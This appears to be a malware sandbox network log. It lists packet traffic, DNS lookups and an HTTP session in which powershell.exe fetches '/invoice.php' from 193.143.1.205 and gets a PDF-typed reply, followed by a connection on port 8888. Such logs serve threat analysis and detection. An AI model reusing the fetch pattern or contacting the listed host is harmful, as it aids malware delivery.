Jan 11, 2025 07:17:35.246249914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.246260881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.246268034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.246279955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.246289968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.246345043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.246417999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.247045994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247059107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247070074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247080088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247088909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247098923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247109890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247122049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247133017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247142076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247149944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.247153044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247164965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247224092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.247266054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.247982025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.247999907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.248011112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.248023033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.248034000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.248044968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.248055935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.248066902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.248068094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.248079062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.248090029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.248147964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.248178005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.250906944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.276261091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276279926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276293039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276360035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276369095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276371002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.276448011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.276449919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276463032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276510954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.276592016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276602030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276642084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.276721954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276767969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.276787043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276799917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276810884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.276840925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.277045965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.277096987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.277126074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.277137041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.277179956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.293246031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293293953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293303967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293361902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.293421030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293451071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293469906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.293606997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293620110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293639898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293654919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.293678999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.293853998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293864965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293875933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293893099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293904066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293905973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.293916941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.293946028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.293970108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.294333935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.294344902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.294356108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.294405937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.294558048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.294569969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.294605017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.294626951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.294639111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.294650078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.294658899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.294673920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.294709921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.328310966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328345060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328355074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328447104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.328495979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.328514099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328526020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328567028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.328649044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328660965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328670979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328706026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.328859091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328871012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328881025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.328896046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.328919888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.329078913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329091072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329108000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329118013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329123974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.329129934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329142094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329154015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329173088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.329200983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.329670906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329684019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329694986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329705954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329715014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.329718113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.329751968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.329773903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.330179930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330189943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330199957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330209970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330219030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330229044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330239058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330246925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.330250025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330259085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330269098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330276966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.330280066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330288887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330296993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.330298901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.330317974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.330338001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.331146002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331159115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331168890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331178904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331188917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331192017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.331198931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331208944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331218958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331229925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331234932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.331239939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331250906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.331270933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.331291914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.331999063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332011938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332021952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332032919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332042933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332052946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332062960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332065105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.332072973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332082987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332093954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332098007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.332103968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332118034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.332137108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.332936049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332947969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332957983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332968950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332978964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332989931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.332990885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.332999945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333009958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333017111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.333019972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333030939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333043098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.333055973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.333869934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333883047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333893061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333903074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333913088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333924055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333926916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.333934069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333944082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333955050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333965063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.333967924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.334001064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.334764957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334778070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334788084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334798098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334808111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334820032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334820032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.334829092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334840059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334850073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334860086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334861994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.334871054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.334881067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.334901094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.341264009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.363078117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363131046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363176107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.363200903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363212109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363257885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.363415956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363471985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363483906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363495111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363506079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363511086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.363539934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.363799095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363810062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363821983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.363845110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.363873005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.363989115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.364001036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.364012957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.364029884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.364037991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.364069939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.380140066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380171061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380182981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380280972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.380366087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380378962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380390882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380434036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.380465984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.380599022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380738020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380748987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380759954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380770922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380784988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.380809069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.380865097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.381138086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.381150007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.381212950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.415086985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415175915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415189028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415246964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.415329933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415340900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415374994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.415529966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415546894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415558100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415568113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415575981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.415577888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415604115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.415626049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.415968895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.415980101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.416033030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.484926939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.672306061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:36.328401089 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:36.333336115 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:36.333436966 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:36.334239006 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:36.339032888 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:37.133471966 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:37.188682079 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:37.889849901 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:17:44.370497942 CET	64261	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:17:44.370497942 CET	192.168.2.4	1.1.1.1	0xf28d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:17:44.377505064 CET	1.1.1.1	192.168.2.4	0xf28d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:17:44.733100891 CET	1.1.1.1	192.168.2.4	0xadde	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:17:44.733100891 CET	1.1.1.1	192.168.2.4	0xadde	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	6928	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:17:33.927021980 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:17:34.668338060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:17:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << 